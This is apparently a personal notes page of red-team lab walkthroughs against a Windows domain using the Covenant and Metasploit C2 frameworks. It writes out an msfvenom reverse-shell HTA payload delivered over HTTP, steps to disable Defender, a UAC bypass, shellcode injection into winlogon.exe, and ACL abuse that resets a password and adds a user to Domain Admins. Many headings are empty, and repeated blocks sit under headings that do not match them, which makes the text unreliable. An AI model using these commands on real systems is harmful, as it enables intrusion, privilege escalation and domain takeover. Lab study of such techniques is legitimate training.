0xc0rvu5.github.io

View on GitHub

Covenant Setup With .doc File Extension - Microsoft Word on Host

Covenant Setup With .hta file extension

# Defanged script

<\script> language="VBScript">
	Function doStuff()
		Dim wsh
		Set wsh = CreateObject("Wscript.Shell")
		wsh.run "<covenant powershell copied command goes here>"
		Set wsh = Nothing
	  End Function

	  DoStuff
	  self.close
<\script>

Covenant Commands

Email Phishing With Metasploit and .hta File Extension

Meterpreter Relevant commands

AutoLogon Misconfiguration and Exploration

AlwaysInstallElevated Misconfiguration and Exploitation with Covenant

AlwaysInstallElevated Misconfiguration and Exploitation with Metasploit

Fodhelper UAC Bypass with Covenant

UAC Bypass with Metasploit

- On kali host:
	- `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f hta-psh -o Benefits.hta`
	- Transfer `Benefits.hta` over to Windows host-machine
		- `python3 -m http.server 80`
		- On Windows host-machine browse to:
			- `http://192.168.3.28/Benefits.hta`
			- Execute the file on host system  **Windows defender needs to be turned off for this and Microsoft Word needs to be present on the host machine**
	- Start Metasploit:
		- `msfconsole`
			- `use /exploit/multi/handler`
			- `set payload windows/x64/meterpreter/reverse_tcp`
			- `set lhost eth0`
			- `set lport 443`
			- `exploit`
- On Windows Host execute the relevant shell created in `Downloads`

New User Persistence

Startup Persistence With Covenant

- `gpedit`
	- `Computer Configuration`
		- `Administrative Templates`
			- `Windows Components`
				- `Microsoft Defender Antivirus`
					- `Turn off Microsoft Defender Antivirus`
						- `Enabled`
- `regedit` **as administrator**
	- `HKEY_LOCAL_MACHINE`
		- `SOFTWARE`
			- `Policies`
				- `Microsoft`
					- Right click: `Windows Defender`
						- New: `DWORD (32-bit) Value`
							- Name: `DisableAntiSpyware`
							- Double click and set value:
								- `1`
					- Right click: `Windows Defender`
						- New: `Key`
							- Name: `Real-Time Protection`
								- New: `DWORD (32-bit) Value`
									- Name: `DisableAntiSpyware`
									- Double click and set value:
										- `1
- If `gpedit` is not functioning properly refer too:
	- [[Gpedit Issue Resolution]]

Autorun Persistence

image

Session Passing to Metasploit SOCKS, and the Autoroute Module

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window

Persistence via RDP

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window
- **High level privileges**
- Open `Coveneant`
- Start a shell on the Windows host
	- [[Covenant Quick Shell on Windows Host]]
- `powershellimport`
	- `helper.ps1`
- Ensure you using DotNetVersion: `Net35`
	- Copy the encoded payload
- `powershell helper -custom "cmd.exe /c enter_payload_here"`
- Elevate to: **System level privileges**
	- In `Covenant` run:
		- `ps`
		- Find `winlogon.exe` and identify the PID
		- Go to `Launchers`
			- `ShellCode`
				- DotNetVersion: `Net40`
				- `Generate`
				- `Download`
		- `inject`
			- Enter the `winlogon.exe` PID
			- Add the recently generated shellcode *.bin* file
		- `Execute`

Dumping Hashes with Covenant and Mimikatz

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window
- **High level privileges**
- Open `Coveneant`
- Start a shell on the Windows host
	- [[Covenant Quick Shell on Windows Host]]
- `powershellimport`
	- `helper.ps1`
- Ensure you using DotNetVersion: `Net35`
	- Copy the encoded payload
- `powershell helper -custom "cmd.exe /c enter_payload_here"`
- Elevate to: **System level privileges**
	- In `Covenant` run:
		- `ps`
		- Find `winlogon.exe` and identify the PID
		- Go to `Launchers`
			- `ShellCode`
				- DotNetVersion: `Net40`
				- `Generate`
				- `Download`
		- `inject`
			- Enter the `winlogon.exe` PID
			- Add the recently generated shellcode *.bin* file
		- `Execute`

Dumping Hashes with Metasploit

Rulelist Hash Cracking with Hashcat

Cracking the Credential Vault with Covenant

Cracking the Credential Vault via Metasploit

- On kali host:
	- `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f hta-psh -o Benefits.hta`
	- Transfer `Benefits.hta` over to Windows host-machine
		- `python3 -m http.server 80`
		- On Windows host-machine browse to:
			- `http://192.168.3.28/Benefits.hta`
			- Execute the file on host system  **Windows defender needs to be turned off for this and Microsoft Word needs to be present on the host machine**
	- Start Metasploit:
		- `msfconsole`
			- `use /exploit/multi/handler`
			- `set payload windows/x64/meterpreter/reverse_tcp`
			- `set lhost eth0`
			- `set lport 443`
			- `exploit`
- On Windows Host execute the relevant shell created in `Downloads`

Dumping Firefox Credentials with Metasploit

Offensive PowerShell Part 1 - Downloading Files with PowerShell

Offensive PowerShell Part 2 - Enumerating Users

Offensive PowerShell Part 3 - Enumerating Groups

Offensive PowerShell Part 4 - Enumerating Domain Computers and Shares

Offensive PowerShell Part 5 - Invoke-FileFinder

Offensive PowerShell Part 6 - Enumerating Local Admin Users

Offensive PowerShell Part 7 - Enumerating Group Policy Objects

Offensive PowerShell Part 8 - Enumerating Access Control Lists

Offensive PowerShell Part 9 - Enumerating the Domain

Offensive PowerShell Part 10 - PowerShell Remoting

Disable Setting on Domain Controller To Allow Passing of Hashes

Brief Overview of the Domain Through BloodHound

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window

Abusing ACLs

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window
- Open a grunt with `Covenant`
	- [[Covenant Quick Shell on Windows Host]]
- In `Grunt`:
	- `ChangeDirectory C:\Users\Public`
		- `Upload`
			- `sharphound.exe`
				- Ensure the version of `Sharphound` is the same as the bloodhound install
	- `shell sharphound.exe -c all`

image

- `download 20221127035950_BloodHound.zip`
	- Make sure to **click** the download on `Covenant` to download 
- Check user groups for `s.chisholm`
	- If `s.chisholm` is not yet in the *engineering* group
		- `net group engineering s.chisholm /add /domain`
- Now add to `IT Admins` group
	- `net group "IT Admins" s.chisholm /add /domain` - Go to Bloodhound:
- `Analysis`
	- `Find Shortest Paths to Domain Admins` or `Shortest Path to High Value Targets`
		- Reference `GenericAll` help options
			- `Abuse Info` - On Windows Host
- `$SecPassword = ConvertTo-SecureString 'FallOutBoy1!' -AsPlainText -Force`
- `$Cred = New-Object System.Management.Automation.PSCredential('mayorsec\s.chisholm', $SecPassword)`
- `$UserPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force`
- `Set-DomainUserPassword -Identity j.taylor -AccountPassword $UserPass -Credential $Cred`
	- Note if this fails you need to configure all of the permissions to correlate to the video...
- `Enter-PSSession -ComputerName dc01 -credential mayorsec\j.taylor`
- `net group "Domain Admins" j.taylor /add /domain`

Passing through Remote Desktop

- **High level privileges**
- Open `Coveneant`
- Start a shell on the Windows host
	- [[Covenant Quick Shell on Windows Host]]
- `powershellimport`
	- `helper.ps1`
- Ensure you using DotNetVersion: `Net35`
	- Copy the encoded payload
- `powershell helper -custom "cmd.exe /c enter_payload_here"`
- Elevate to: **System level privileges**
	- In `Covenant` run:
		- `ps`
		- Find `winlogon.exe` and identify the PID
		- Go to `Launchers`
			- `ShellCode`
				- DotNetVersion: `Net40`
				- `Generate`
				- `Download`
		- `inject`
			- Enter the `winlogon.exe` PID
			- Add the recently generated shellcode *.bin* file
		- `Execute`

Configuring Reverse Port Forwarding

- **High level privileges**
- Open `Coveneant`
- Start a shell on the Windows host
	- [[Covenant Quick Shell on Windows Host]]
- `powershellimport`
	- `helper.ps1`
- Ensure you using DotNetVersion: `Net35`
	- Copy the encoded payload
- `powershell helper -custom "cmd.exe /c enter_payload_here"`
- Elevate to: **System level privileges**
	- In `Covenant` run:
		- `ps`
		- Find `winlogon.exe` and identify the PID
		- Go to `Launchers`
			- `ShellCode`
				- DotNetVersion: `Net40`
				- `Generate`
				- `Download`
		- `inject`
			- Enter the `winlogon.exe` PID
			- Add the recently generated shellcode *.bin* file
		- `Execute`

Gaining a Shell on an Internal Workstation

Remoting Through Proxychains

Unconstrained Delegation

Golden Ticket Persistence

Reverse Port Forwarding for Shell on DC01

- Open `Covenant`
	- Set up a listener in `Listeners` tab
		- Name: `HTTP Listener`
		- ConnectAddress: `your-ip-address`
		- `Create`
	- Set up a launcher in `Launchers`
		- `PowerShell`
			- Listener: `HTTP Listener`
			- DotNetVersion: `Net40`
				- For a short link: `Net35` **Net35 is manditory when using `msiexec` and fodhelper i.e. `helper.ps1`**
			- KillDate: `some date in future`
			- `Generate`

image

- Paste the generated payload into the Windows host `powershell.exe` window

#hacking